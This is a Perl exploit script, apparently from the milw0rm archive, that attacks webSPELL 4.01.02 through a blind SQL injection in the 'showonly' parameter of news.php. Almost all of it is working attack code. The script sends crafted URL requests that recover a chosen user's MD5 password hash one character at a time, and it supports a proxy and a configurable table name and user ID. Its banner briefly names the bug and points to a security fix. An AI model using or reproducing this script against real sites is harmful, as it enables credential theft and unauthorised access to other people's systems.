webSPELL 4.01.02 (showonly) Remote Blind SQL Injection Exploit#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print `\n                           \\#'#/                       `;
  print `\n                           (-.-)                        `;
  print `\n   -------------------oOO---(_)---OOo-------------------`;
  print `\n   | webSPELL v4.01.02 (showonly) Remote SQL Injection |`;
  print `\n   |      (works only with register_globals = on)      |`;
  print `\n   |                   coded by DNX                    |`;
  print `\n   -----------------------------------------------------`;
  print `\n[!] Bug: in news.php line 601 \$showonly is unquoted, so u can inject sql code`;
  print `\n[!] Solution: install security fix`;
  print `\n[!] Usage: perl ws.pl [Host] [Path] <Options>`;
  print `\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user`;
  print `\n[!] Options:`;
  print `\n       -i [no]       User-ID, default is 1`;
  print `\n       -t [name]     Changed the user table name, default is webs_user`;
  print `\n       -p [ip:port]  Proxy support`;
  print `\n`;
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = `webs_user`;
my %options = ();
GetOptions(\%options, `i=i`, `t=s`, `p=s`);

print `[!] Exploiting...\n`;

if($options{`i`})
{
  $user = $options{`i`};
}

if($options{`t`})
{
  $table = $options{`t`};
}

syswrite(STDOUT, `[!] MD5-Hash: `, 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found &amp;&amp; $h <= 57)
  {
    if(istrue2($host, $path, $table, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found &amp;&amp; $h <= 122)
    {
      if(istrue2($host, $path, $table, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print `\n[!] Exploit done\n`;

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent->new;
  my $url = `http://`.$host.$path.`index.php?site=news&amp;showonly=%20AND%20SUBSTRING((SELECT%20password%20FROM%20`.$table.`%20WHERE%20userID=`.$uid.`),`.$i.`,1)=CHAR(`.$h.`)`;
  
  if($options{`p`})
  {
    $ua->proxy('http', `http://`.$options{`p`});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  my $regexp = `Author`;
  
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2007-02-16]